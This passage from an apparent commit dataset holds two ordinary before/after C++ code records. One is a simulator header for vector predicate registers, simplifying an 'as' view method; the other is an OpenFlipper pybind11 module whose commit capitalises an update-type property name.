setBits(size_t idx, uint8_t nbits, uint8_t bval)\n    {\n        assert(nbits > 0 && nbits <= 8 && (idx + nbits - 1) < NumBits);\n        for (int i = 0; i < nbits; ++i, ++idx) {\n            container[idx] = bval & 1;\n            bval >>= 1;\n        }\n    }\n\n    friend std::ostream&\n    operator<<(std::ostream& os, const MyClass& p)\n    {\n        \/\/ Size must be greater than 0.\n        for (int i = 0; i < NumBits; i++)\n            ccprintf(os, \"%s%d\", i ? \" \" : \"[\", (int)p.container[i]);\n        ccprintf(os, \"]\");\n        return os;\n    }\n\n    friend ShowParam<VecPredRegContainer<NumBits, Packed>>;\n\n    \/\/\/ Create a view of this container.\n    \/\/\/\n    \/\/\/ If NumElems is provided, the size of the container is bounds-checked,\n    \/\/\/ otherwise the size is inferred from the container size.\n    \/\/\/ @tparam VecElem Type of the vector elements.\n    \/\/\/ @tparam NumElems Number of vector elements making up the view.\n    \/\/\/ @{\n    template <typename VecElem,\n              size_t NumElems = (Packed ? NumBits : NumBits \/ sizeof(VecElem))>\n    VecPredRegT<VecElem, NumElems, Packed, true> as() const\n    {\n        static_assert((Packed && NumElems <= NumBits) ||\n                      (!Packed &&\n                       NumBits % sizeof(VecElem) == 0 &&\n                       sizeof(VecElem) * NumElems <= NumBits),\n                      \"Container size incompatible with view size\");\n        return VecPredRegT<VecElem, NumElems, Packed, true>(*this);\n    }\n\n    template <typename VecElem,\n              size_t NumElems = (Packed ? NumBits : NumBits \/ sizeof(VecElem))>\n    VecPredRegT<VecElem, NumElems, Packed, false> as()\n    {\n        static_assert((Packed && NumElems <= NumBits) ||\n                      (!Packed &&\n                       NumBits % sizeof(VecElem) == 0 &&\n                       sizeof(VecElem) * NumElems <= NumBits),\n                      \"Container size incompatible with view size\");\n        return VecPredRegT<VecElem, NumElems, Packed, false>(*this);\n    }\n    \/\/\/ @}\n};\n\ntemplate <size_t NumBits, bool Packed>\nstruct ParseParam<VecPredRegContainer<NumBits, Packed>>\n{\n    static bool\n    parse(const std::string &s, VecPredRegContainer<NumBits, Packed> &value)\n    {\n        int i = 0;\n        for (const auto& c: s)\n            value[i++] = (c == '1');\n        return true;\n    }\n};\n\ntemplate <size_t NumBits, bool Packed>\nstruct ShowParam<VecPredRegContainer<NumBits, Packed>>\n{\n    static void\n    show(std::ostream &os, const VecPredRegContainer<NumBits, Packed> &value)\n    {\n        for (auto b: value.container)\n            ccprintf(os, \"%d\", b);\n    }\n};\n\n\/\/\/ Dummy type aliases and constants for architectures that do not implement\n\/\/\/ vector predicate registers.\n\/\/\/ @{\nconstexpr bool DummyVecPredRegHasPackedRepr = false;\nusing DummyVecPredReg = VecPredRegT<DummyVecElem, DummyNumVecElemPerVecReg,\n                                    DummyVecPredRegHasPackedRepr, false>;\nusing DummyConstVecPredReg = VecPredRegT<DummyVecElem,\n                                         DummyNumVecElemPerVecReg,\n                                         DummyVecPredRegHasPackedRepr, true>;\nusing DummyVecPredRegContainer = DummyVecPredReg::Container;\nconstexpr size_t DummyVecPredRegSizeBits = 8;\n\/\/\/ @}\n\n#endif  \/\/ __ARCH_GENERIC_VEC_PRED_REG_HH__\n<commit_msg>arch: Collapse unused size parameter from \"as\" VecPredReg method.<commit_after>\/\/ Copyright (c) 2017 ARM Limited\n\/\/ All rights reserved\n\/\/\n\/\/ The license below extends only to copyright in the software and shall\n\/\/ not be construed as granting a license to any other intellectual\n\/\/ property including but not limited to intellectual property relating\n\/\/ to a hardware implementation of the functionality of the software\n\/\/ licensed hereunder.  You may use the software subject to the license\n\/\/ terms below provided that you ensure that this notice is replicated\n\/\/ unmodified and in its entirety in all distributions of the software,\n\/\/ modified or unmodified, in source code or in binary form.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met: redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer;\n\/\/ redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution;\n\/\/ neither the name of the copyright holders nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#ifndef __ARCH_GENERIC_VEC_PRED_REG_HH__\n#define __ARCH_GENERIC_VEC_PRED_REG_HH__\n\n#include <array>\n#include <cassert>\n#include <vector>\n\n#include \"arch\/generic\/vec_reg.hh\"\n#include \"base\/cprintf.hh\"\n#include \"sim\/serialize_handlers.hh\"\n\ntemplate <size_t NumBits, bool Packed>\nclass VecPredRegContainer;\n\n\/\/\/ Predicate register view.\n\/\/\/\n\/\/\/ This generic class implements the View in an MVC pattern, similarly to\n\/\/\/ @see VecRegT. Since predicates are mainly used in conjunction with vectors\n\/\/\/ to specify which lanes are active in a vector operation, the class is\n\/\/\/ templated on the vector element type to simplify ISA definitions.\n\/\/\/ @tparam VecElem Type of the vector elements.\n\/\/\/ @tparam NumElems Number of vector elements making up the view.\n\/\/\/ @tparam Packed True if the predicate register relies on a packed\n\/\/\/ representation, i.e. adjacent bits refer to different vector elements\n\/\/\/ irrespective of the vector element size (e.g. this is the case for\n\/\/\/ AVX-512). If false, the predicate register relies on an unpacked\n\/\/\/ representation, where each bit refers to the corresponding byte in a vector\n\/\/\/ register (e.g. this is the case for ARM SVE).\n\/\/\/ @tparam Const True if the underlying container can be modified through\n\/\/\/ the view.\ntemplate <typename VecElem, size_t NumElems, bool Packed, bool Const>\nclass VecPredRegT\n{\n  protected:\n    \/\/\/ Size of the register in bits.\n    static constexpr size_t NUM_BITS = Packed ? NumElems :\n                                                sizeof(VecElem) * NumElems;\n\n  public:\n    \/\/\/ Container type alias.\n    using Container = typename std::conditional_t<\n        Const,\n        const VecPredRegContainer<NUM_BITS, Packed>,\n        VecPredRegContainer<NUM_BITS, Packed>>;\n\n  protected:\n    \/\/ Alias for this type\n    using MyClass = VecPredRegT<VecElem, NumElems, Packed, Const>;\n    \/\/\/ Container corresponding to this view.\n    Container& container;\n\n  public:\n    VecPredRegT(Container& c) : container(c) {}\n\n    \/\/\/ Reset the register to an all-false value.\n    template<bool Condition = !Const>\n    std::enable_if_t<Condition> reset() { container.reset(); }\n\n    \/\/\/ Reset the register to an all-true value.\n    template<bool Condition = !Const>\n    std::enable_if_t<Condition> set() { container.set(); }\n\n    template<bool Condition = !Const>\n    std::enable_if_t<Condition, MyClass&>\n    operator=(const MyClass& that)\n    {\n        container = that.container;\n        return *this;\n    }\n\n    const bool&\n    operator[](size_t idx) const\n    {\n        return container[idx * (Packed ? 1 : sizeof(VecElem))];\n    }\n\n    template<bool Condition = !Const>\n    std::enable_if_t<Condition, bool&>\n    operator[](size_t idx)\n    {\n        return container[idx * (Packed ? 1 : sizeof(VecElem))];\n    }\n\n    \/\/\/ Return an element of the predicate register as it appears\n    \/\/\/ in the raw (untyped) internal representation\n    uint8_t\n    getRaw(size_t idx) const\n    {\n        return container.getBits(idx * (Packed ? 1 : sizeof(VecElem)),\n                (Packed ? 1 : sizeof(VecElem)));\n    }\n\n    \/\/\/ Write a raw value in an element of the predicate register\n    template<bool Condition = !Const>\n    std::enable_if_t<Condition>\n    setRaw(size_t idx, uint8_t val)\n    {\n        container.setBits(idx * (Packed ? 1 : sizeof(VecElem)),\n                (Packed ? 1 : sizeof(VecElem)), val);\n    }\n\n    \/\/\/ Equality operator, required to compare thread contexts.\n    template<typename VE2, size_t NE2, bool P2, bool C2>\n    bool\n    operator==(const VecPredRegT<VE2, NE2, P2, C2>& that) const\n    {\n        return container == that.container;\n    }\n\n    \/\/\/ Inequality operator, required to compare thread contexts.\n    template<typename VE2, size_t NE2, bool P2, bool C2>\n    bool\n    operator!=(const VecPredRegT<VE2, NE2, P2, C2>& that) const\n    {\n        return !operator==(that);\n    }\n\n    friend std::ostream&\n    operator<<(std::ostream& os, const MyClass& p)\n    {\n        \/\/ Size must be greater than 0.\n        for (int i = 0; i < NUM_BITS; i++)\n            ccprintf(os, \"%s%d\", i ? \" \" : \"[\", (int)p.container[i]);\n        ccprintf(os, \"]\");\n        return os;\n    }\n\n    \/\/\/ Returns true if the first active element of the register is true.\n    \/\/\/ @param mask Input mask used to filter the predicates to be tested.\n    \/\/\/ @param actual_num_elems Actual number of vector elements considered for\n    \/\/\/ the test (corresponding to the current vector length).\n    template <bool MC>\n    bool\n    firstActive(const VecPredRegT<VecElem, NumElems, Packed, MC>& mask,\n                size_t actual_num_elems) const\n    {\n        assert(actual_num_elems <= NumElems);\n        for (int i = 0; i < actual_num_elems; ++i) {\n            if (mask[i]) {\n                return (*this)[i];\n            }\n        }\n        return false;\n    }\n\n    \/\/\/ Returns true if there are no active elements in the register.\n    \/\/\/ @param mask Input mask used to filter the predicates to be tested.\n    \/\/\/ @param actual_num_elems Actual number of vector elements considered for\n    \/\/\/ the test (corresponding to the current vector length).\n    template <bool MC>\n    bool\n    noneActive(const VecPredRegT<VecElem, NumElems, Packed, MC>& mask,\n               size_t actual_num_elems) const\n    {\n        assert(actual_num_elems <= NumElems);\n        for (int i = 0; i < actual_num_elems; ++i) {\n            if (mask[i] && operator[](i)) {\n                return false;\n            }\n        }\n        return true;\n    }\n\n    \/\/\/ Returns true if the last active element of the register is true.\n    \/\/\/ @param mask Input mask used to filter the predicates to be tested.\n    \/\/\/ @param actual_num_elems Actual number of vector elements considered for\n    \/\/\/ the test (corresponding to the current vector length).\n    template <bool MC>\n    bool\n    lastActive(const VecPredRegT<VecElem, NumElems, Packed, MC>& mask,\n               size_t actual_num_elems) const\n    {\n        assert(actual_num_elems <= NumElems);\n        for (int i = actual_num_elems - 1; i >= 0; --i) {\n            if (mask[i]) {\n                return operator[](i);\n            }\n        }\n        return false;\n    }\n};\n\n\/\/\/ Generic predicate register container.\n\/\/\/\n\/\/\/ This generic class implements the Model in an MVC pattern, similarly to\n\/\/\/ @see VecRegContainer.\n\/\/\/ @tparam NumBits Size of the container in bits.\n\/\/\/ @tparam Packed See @VecRegT.\ntemplate <size_t NumBits, bool Packed>\nclass VecPredRegContainer\n{\n    static_assert(NumBits > 0,\n                  \"Size of a predicate register must be > 0\");\n\n  public:\n    static constexpr size_t NUM_BITS = NumBits;\n    using Container = std::array<bool, NumBits>;\n\n  private:\n    Container container;\n    \/\/ Alias for this type\n    using MyClass = VecPredRegContainer<NumBits, Packed>;\n\n  public:\n    VecPredRegContainer() {}\n    VecPredRegContainer(const VecPredRegContainer &) = default;\n\n    MyClass&\n    operator=(const MyClass& that)\n    {\n        if (&that == this)\n            return *this;\n        container = that.container;\n        return *this;\n    }\n\n    \/\/\/ Required for de-serialization.\n    MyClass&\n    operator=(const std::vector<uint8_t>& that)\n    {\n        assert(that.size() == NUM_BITS);\n        std::copy(that.begin(), that.end(), container.begin());\n        return *this;\n    }\n\n    \/\/\/ Resets the predicate register to an all-false register.\n    void\n    reset()\n    {\n        container.fill(false);\n    }\n\n    \/\/\/ Sets the predicate register to an all-true value.\n    void\n    set()\n    {\n        container.fill(true);\n    }\n\n    \/\/\/ Equality operator, required to compare thread contexts.\n    template<size_t N2, bool P2>\n    inline bool\n    operator==(const VecPredRegContainer<N2, P2>& that) const\n    {\n        return NumBits == N2 && Packed == P2 && container == that.container;\n    }\n\n    \/\/\/ Inequality operator, required to compare thread contexts.\n    template<size_t N2, bool P2>\n    bool\n    operator!=(const VecPredRegContainer<N2, P2>& that) const\n    {\n        return !operator==(that);\n    }\n\n    \/\/\/ Returns a reference to a specific element of the internal container.\n    bool& operator[](size_t idx) { return container[idx]; }\n\n    \/\/\/ Returns a const reference to a specific element of the internal\n    \/\/\/ container.\n    const bool& operator[](size_t idx) const { return container[idx]; }\n\n    \/\/\/ Returns a subset of bits starting from a specific element in the\n    \/\/\/ container.\n    uint8_t\n    getBits(size_t idx, uint8_t nbits) const\n    {\n        assert(nbits > 0 && nbits <= 8 && (idx + nbits - 1) < NumBits);\n        uint8_t v = 0;\n        idx = idx + nbits - 1;\n        for (int i = 0; i < nbits; ++i, --idx) {\n            v <<= 1;\n            v |= container[idx];\n        }\n        return v;\n    }\n\n    \/\/\/ Set a subset of bits starting from a specific element in the\n    \/\/\/ container.\n    void\n    setBits(size_t idx, uint8_t nbits, uint8_t bval)\n    {\n        assert(nbits > 0 && nbits <= 8 && (idx + nbits - 1) < NumBits);\n        for (int i = 0; i < nbits; ++i, ++idx) {\n            container[idx] = bval & 1;\n            bval >>= 1;\n        }\n    }\n\n    friend std::ostream&\n    operator<<(std::ostream& os, const MyClass& p)\n    {\n        \/\/ Size must be greater than 0.\n        for (int i = 0; i < NumBits; i++)\n            ccprintf(os, \"%s%d\", i ? \" \" : \"[\", (int)p.container[i]);\n        ccprintf(os, \"]\");\n        return os;\n    }\n\n    friend ShowParam<VecPredRegContainer<NumBits, Packed>>;\n\n    \/\/\/ Create a view of this container.\n    \/\/\/\n    \/\/\/ @tparam VecElem Type of the vector elements.\n    \/\/\/ @{\n    template <typename VecElem>\n    VecPredRegT<VecElem, NumBits \/ sizeof(VecElem), Packed, true>\n    as() const\n    {\n        static_assert(NumBits % sizeof(VecElem) == 0,\n                \"Container size incompatible with view size.\");\n        return VecPredRegT<VecElem, NumBits \/ sizeof(VecElem), Packed, true>(\n                *this);\n    }\n\n    template <typename VecElem>\n    VecPredRegT<VecElem, NumBits \/ sizeof(VecElem), Packed, false>\n    as()\n    {\n        static_assert(NumBits % sizeof(VecElem) == 0,\n                \"Container size incompatible with view size.\");\n        return VecPredRegT<VecElem, NumBits \/ sizeof(VecElem), Packed, false>(\n                *this);\n    }\n    \/\/\/ @}\n};\n\ntemplate <size_t NumBits, bool Packed>\nstruct ParseParam<VecPredRegContainer<NumBits, Packed>>\n{\n    static bool\n    parse(const std::string &s, VecPredRegContainer<NumBits, Packed> &value)\n    {\n        int i = 0;\n        for (const auto& c: s)\n            value[i++] = (c == '1');\n        return true;\n    }\n};\n\ntemplate <size_t NumBits, bool Packed>\nstruct ShowParam<VecPredRegContainer<NumBits, Packed>>\n{\n    static void\n    show(std::ostream &os, const VecPredRegContainer<NumBits, Packed> &value)\n    {\n        for (auto b: value.container)\n            ccprintf(os, \"%d\", b);\n    }\n};\n\n\/\/\/ Dummy type aliases and constants for architectures that do not implement\n\/\/\/ vector predicate registers.\n\/\/\/ @{\nconstexpr bool DummyVecPredRegHasPackedRepr = false;\nusing DummyVecPredReg = VecPredRegT<DummyVecElem, DummyNumVecElemPerVecReg,\n                                    DummyVecPredRegHasPackedRepr, false>;\nusing DummyConstVecPredReg = VecPredRegT<DummyVecElem,\n                                         DummyNumVecElemPerVecReg,\n                                         DummyVecPredRegHasPackedRepr, true>;\nusing DummyVecPredRegContainer = DummyVecPredReg::Container;\nconstexpr size_t DummyVecPredRegSizeBits = 8;\n\/\/\/ @}\n\n#endif  \/\/ __ARCH_GENERIC_VEC_PRED_REG_HH__\n<|endoftext|>"}
{"text":"<commit_before>#include \"OpenFlipper.hh\"\n#include \"PyModules\/PyMeshType.hh\"\n#include <OpenFlipper\/BasePlugin\/PluginFunctions.hh>\n#include <ObjectTypes\/PolyMesh\/PolyMesh.hh>\n#include <ObjectTypes\/TriangleMesh\/TriangleMesh.hh>\n#include <ACG\/Utils\/SmartPointer.hh>\n\n#include <pybind11\/pybind11.h>\n#include <pybind11\/operators.h>\n\n#include <OpenFlipper\/BasePlugin\/RPCWrappers.hh>\n#include <OpenFlipper\/common\/UpdateType.hh>\n\n#include <algorithm>\n#include <functional>\n#include <unordered_map>\n\nnamespace py = pybind11;\n\nconst std::unordered_map < std::string, std::function<QScriptValue(QScriptEngine* e, const py::object&) >> type_conversion_map =\n{\n    { \"QString\",[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(QString(py::cast<std::string>(obj).c_str())); } },\n        { \"int\",[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<int>(obj)); } },\n        { \"uint\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<uint>(obj)); } },\n        { \"bool\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<bool>(obj)); } },\n        { \"IdList\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<IdList>(obj)); } },\n        { \"Vector\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<Vector>(obj)); } },\n        { \"Vector4\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<Vector4>(obj)); } },\n        { \"UpdateType\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<UpdateType>(obj)); } },\n};\n\n\npy::dict create_dict_from_ids(const std::vector<int>& ids)\n{\n    py::dict d;\n    for (int i : ids)\n    {\n        TriMeshObject* triobj;\n        PolyMeshObject* polyobj;\n        if (PluginFunctions::getObject(i, triobj))\n        {\n            PyTriMesh* m = reinterpret_cast<PyTriMesh*>(triobj->mesh());\n            d[triobj->name().toLatin1()] = py::cast(m);\n        }\n        else if (PluginFunctions::getObject(i, polyobj))\n        {\n            PyPolyMesh* m = reinterpret_cast<PyPolyMesh*>(polyobj->mesh());\n            d[polyobj->name().toLatin1()] = py::cast(m);\n        }\n\n    }\n    return d;\n}\n\npy::dict targets()\n{\n    std::vector<int> ids;\n    PluginFunctions::getTargetIdentifiers(ids);\n    return create_dict_from_ids(ids);\n}\n\npy::dict sources()\n{\n    std::vector<int> ids;\n    PluginFunctions::getSourceIdentifiers(ids);\n    return create_dict_from_ids(ids);\n}\n\npy::dict meshes()\n{\n    std::vector<int> ids;\n    PluginFunctions::getAllMeshes(ids);\n    return create_dict_from_ids(ids);\n}\n\npy::object rpc_call(const char* plugin_name, const char* function_name, std::vector<QScriptValue> params)\n{\n    QScriptValue ret = RPC::callFunction(plugin_name, function_name, std::move(params));\n    if (ret.isNumber())\n        return py::cast(ret.toInt32());\n\n    return py::none();\n}\n\npy::object rpc_call(const char* plugin_name, const char* function_name, const py::list& py_params\/*{ QString:\"value\",... }*\/)\n{\n    std::vector<QScriptValue> q_params;\n    \/\/ convert parameters to scriptvalues\n\n    QScriptEngine* engine = RPC::getScriptEngine();\n    for (py::ssize_t i = 0; i < py::len(py_params); i+=2)\n    {\n        std::string type_name = py::cast<std::string>(py_params[i]);\n\n        auto it = type_conversion_map.find(type_name);\n        if (it == std::end(type_conversion_map)) \/\/todo: raise exception\n        {\n            const QString err = QString(\"In function %1, parameter #%2 is can not be converted to %3.\").arg(QString(function_name), QString::number(i \/ 2), QString(type_name.c_str()));\n            PyErr_SetString(PyExc_ValueError, err.toLatin1());\n            return py::none();\n        }\n        auto cast_f = it->second;\n\n        q_params.push_back(cast_f(engine, py_params[i+1]));\n    }\n    if (PyErr_Occurred())\n    \treturn py::none();\n    return rpc_call(plugin_name, function_name, std::move(q_params));\n}\n\npy::object rpc_call(const char* plugin_name, const char* function_name)\n{\n    std::vector<QScriptValue> params;\n    return rpc_call(plugin_name, function_name, std::move(params));\n}\n\npy::object getMesh(int id)\n{\n    PolyMesh* polymesh = nullptr;\n    if (PluginFunctions::getMesh(id, polymesh))\n        return py::cast(reinterpret_cast<PyPolyMesh*>(polymesh));\n\n    TriMesh* trimesh = nullptr;\n    if (PluginFunctions::getMesh(id, trimesh))\n        return py::cast(reinterpret_cast<PyTriMesh*>(trimesh));\n\n    \/\/ error case\n    PyErr_SetString(PyExc_ValueError, \"Passed Id is not a PolyMesh\");\n    return py::none();\n}\n\ntemplate<typename Mesh>\npy::object getID(void* addr)\n{\n    IdList idlist;\n    PluginFunctions::getAllMeshes(idlist);\n    auto iter = std::find_if(std::begin(idlist), std::end(idlist), [&addr](int id)\n    {\n        Mesh* mesh;\n        if (!PluginFunctions::getMesh(id, mesh))\n            return false;\n        return ((void*)mesh == (void*)addr);\n    });\n    if (iter == std::end(idlist))\n        return py::cast(-1); \/\/todo raise exception\n    return py::cast(int(*iter));\n}\n\n\nPYBIND11_MODULE(openflipper, m)\n{\n    m.def(\"targets\", &targets);\n    m.def(\"sources\", &sources);\n    m.def(\"meshes\", &meshes);\n\n    m.def(\"get_mesh\", &getMesh);\n    m.def(\"get_id\", [](PyTriMesh* m) {return getID<TriMesh>(m); });\n    m.def(\"get_id\", [](PyPolyMesh* m) {return getID<PolyMesh>(m); });\n\n    py::object (*rpc_callArgs)(const char*, const char*, const py::list&) = rpc_call;\n    py::object (*rpc_callNoArgs)(const char* , const char* ) = rpc_call;\n    m.def(\"rpc_call\", rpc_callArgs);\n    m.def(\"rpc_call\", rpc_callNoArgs);\n\n    py::class_<UpdateType> update_type(m, \"Update\");\n    update_type\n        .def(py::init<>())\n        .def(py::init<UpdateType>())\n        .def(py::self | py::self)\n        .def(py::self |= py::self)\n        .def(\"__contains__\", &UpdateType::contains, py::is_operator())\n        .def_property_readonly_static(\"none\", [](py::object) {return UPDATE_NONE;})\n        .def_property_readonly_static(\"ALL\", [](py::object) {return UPDATE_ALL;})\n        .def_property_readonly_static(\"VISIBILITY\", [](py::object) {return UPDATE_VISIBILITY;})\n        .def_property_readonly_static(\"GEOMETRY\", [](py::object) {return UPDATE_GEOMETRY;})\n        .def_property_readonly_static(\"TOPOLOGY\", [](py::object) {return UPDATE_TOPOLOGY;})\n        .def_property_readonly_static(\"SELECTION\", [](py::object) {return UPDATE_SELECTION;})\n        .def_property_readonly_static(\"SELECTION_VERTICES\", [](py::object) {return UPDATE_SELECTION_VERTICES;})\n        .def_property_readonly_static(\"SELECTION_EDGES\", [](py::object) {return UPDATE_SELECTION_EDGES;})\n        .def_property_readonly_static(\"SELECTION_HALFEDGES\", [](py::object) {return UPDATE_SELECTION_HALFEDGES;})\n        .def_property_readonly_static(\"SELECTION_FACES\", [](py::object) {return UPDATE_SELECTION_FACES;})\n        .def_property_readonly_static(\"SELECTION_KNOTS\", [](py::object) {return UPDATE_SELECTION_KNOTS;})\n        .def_property_readonly_static(\"COLOR\", [](py::object) {return UPDATE_COLOR;})\n        .def_property_readonly_static(\"TEXTURE\", [](py::object) {return UPDATE_TEXTURE;})\n        .def_property_readonly_static(\"STATE\", [](py::object) {return UPDATE_STATE;})\n        .def_property_readonly_static(\"UNUSED\", [](py::object) {return UPDATE_UNUSED;;});\n}\n\n#if (PY_MAJOR_VERSION == 2)\n    PyObject* (*openflipper_pyinit_function)(void) = &initopenflipper;\/\/untested\n#else\n    PyObject* (*openflipper_pyinit_function)(void) = &PyInit_openflipper;\n#endif\n<commit_msg>capital<commit_after>#include \"OpenFlipper.hh\"\n#include \"PyModules\/PyMeshType.hh\"\n#include <OpenFlipper\/BasePlugin\/PluginFunctions.hh>\n#include <ObjectTypes\/PolyMesh\/PolyMesh.hh>\n#include <ObjectTypes\/TriangleMesh\/TriangleMesh.hh>\n#include <ACG\/Utils\/SmartPointer.hh>\n\n#include <pybind11\/pybind11.h>\n#include <pybind11\/operators.h>\n\n#include <OpenFlipper\/BasePlugin\/RPCWrappers.hh>\n#include <OpenFlipper\/common\/UpdateType.hh>\n\n#include <algorithm>\n#include <functional>\n#include <unordered_map>\n\nnamespace py = pybind11;\n\nconst std::unordered_map < std::string, std::function<QScriptValue(QScriptEngine* e, const py::object&) >> type_conversion_map =\n{\n    { \"QString\",[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(QString(py::cast<std::string>(obj).c_str())); } },\n        { \"int\",[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<int>(obj)); } },\n        { \"uint\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<uint>(obj)); } },\n        { \"bool\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<bool>(obj)); } },\n        { \"IdList\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<IdList>(obj)); } },\n        { \"Vector\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<Vector>(obj)); } },\n        { \"Vector4\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<Vector4>(obj)); } },\n        { \"UpdateType\" ,[](QScriptEngine* e, const py::object& obj) {return e->toScriptValue(py::cast<UpdateType>(obj)); } },\n};\n\n\npy::dict create_dict_from_ids(const std::vector<int>& ids)\n{\n    py::dict d;\n    for (int i : ids)\n    {\n        TriMeshObject* triobj;\n        PolyMeshObject* polyobj;\n        if (PluginFunctions::getObject(i, triobj))\n        {\n            PyTriMesh* m = reinterpret_cast<PyTriMesh*>(triobj->mesh());\n            d[triobj->name().toLatin1()] = py::cast(m);\n        }\n        else if (PluginFunctions::getObject(i, polyobj))\n        {\n            PyPolyMesh* m = reinterpret_cast<PyPolyMesh*>(polyobj->mesh());\n            d[polyobj->name().toLatin1()] = py::cast(m);\n        }\n\n    }\n    return d;\n}\n\npy::dict targets()\n{\n    std::vector<int> ids;\n    PluginFunctions::getTargetIdentifiers(ids);\n    return create_dict_from_ids(ids);\n}\n\npy::dict sources()\n{\n    std::vector<int> ids;\n    PluginFunctions::getSourceIdentifiers(ids);\n    return create_dict_from_ids(ids);\n}\n\npy::dict meshes()\n{\n    std::vector<int> ids;\n    PluginFunctions::getAllMeshes(ids);\n    return create_dict_from_ids(ids);\n}\n\npy::object rpc_call(const char* plugin_name, const char* function_name, std::vector<QScriptValue> params)\n{\n    QScriptValue ret = RPC::callFunction(plugin_name, function_name, std::move(params));\n    if (ret.isNumber())\n        return py::cast(ret.toInt32());\n\n    return py::none();\n}\n\npy::object rpc_call(const char* plugin_name, const char* function_name, const py::list& py_params\/*{ QString:\"value\",... }*\/)\n{\n    std::vector<QScriptValue> q_params;\n    \/\/ convert parameters to scriptvalues\n\n    QScriptEngine* engine = RPC::getScriptEngine();\n    for (py::ssize_t i = 0; i < py::len(py_params); i+=2)\n    {\n        std::string type_name = py::cast<std::string>(py_params[i]);\n\n        auto it = type_conversion_map.find(type_name);\n        if (it == std::end(type_conversion_map)) \/\/todo: raise exception\n        {\n            const QString err = QString(\"In function %1, parameter #%2 is can not be converted to %3.\").arg(QString(function_name), QString::number(i \/ 2), QString(type_name.c_str()));\n            PyErr_SetString(PyExc_ValueError, err.toLatin1());\n            return py::none();\n        }\n        auto cast_f = it->second;\n\n        q_params.push_back(cast_f(engine, py_params[i+1]));\n    }\n    if (PyErr_Occurred())\n    \treturn py::none();\n    return rpc_call(plugin_name, function_name, std::move(q_params));\n}\n\npy::object rpc_call(const char* plugin_name, const char* function_name)\n{\n    std::vector<QScriptValue> params;\n    return rpc_call(plugin_name, function_name, std::move(params));\n}\n\npy::object getMesh(int id)\n{\n    PolyMesh* polymesh = nullptr;\n    if (PluginFunctions::getMesh(id, polymesh))\n        return py::cast(reinterpret_cast<PyPolyMesh*>(polymesh));\n\n    TriMesh* trimesh = nullptr;\n    if (PluginFunctions::getMesh(id, trimesh))\n        return py::cast(reinterpret_cast<PyTriMesh*>(trimesh));\n\n    \/\/ error case\n    PyErr_SetString(PyExc_ValueError, \"Passed Id is not a PolyMesh\");\n    return py::none();\n}\n\ntemplate<typename Mesh>\npy::object getID(void* addr)\n{\n    IdList idlist;\n    PluginFunctions::getAllMeshes(idlist);\n    auto iter = std::find_if(std::begin(idlist), std::end(idlist), [&addr](int id)\n    {\n        Mesh* mesh;\n        if (!PluginFunctions::getMesh(id, mesh))\n            return false;\n        return ((void*)mesh == (void*)addr);\n    });\n    if (iter == std::end(idlist))\n        return py::cast(-1); \/\/todo raise exception\n    return py::cast(int(*iter));\n}\n\n\nPYBIND11_MODULE(openflipper, m)\n{\n    m.def(\"targets\", &targets);\n    m.def(\"sources\", &sources);\n    m.def(\"meshes\", &meshes);\n\n    m.def(\"get_mesh\", &getMesh);\n    m.def(\"get_id\", [](PyTriMesh* m) {return getID<TriMesh>(m); });\n    m.def(\"get_id\", [](PyPolyMesh* m) {return getID<PolyMesh>(m); });\n\n    py::object (*rpc_callArgs)(const char*, const char*, const py::list&) = rpc_call;\n    py::object (*rpc_callNoArgs)(const char* , const char* ) = rpc_call;\n    m.def(\"rpc_call\", rpc_callArgs);\n    m.def(\"rpc_call\", rpc_callNoArgs);\n\n    py::class_<UpdateType> update_type(m, \"Update\");\n    update_type\n        .def(py::init<>())\n        .def(py::init<UpdateType>())\n        .def(py::self | py::self)\n        .def(py::self |= py::self)\n        .def(\"__contains__\", &UpdateType::contains, py::is_operator())\n        .def_property_readonly_static(\"NONE\", [](py::object) {return UPDATE_NONE;})\n        .def_property_readonly_static(\"ALL\", [](py::object) {return UPDATE_ALL;})\n        .def_property_readonly_static(\"VISIBILITY\", [](py::object) {return UPDATE_VISIBILITY;})\n        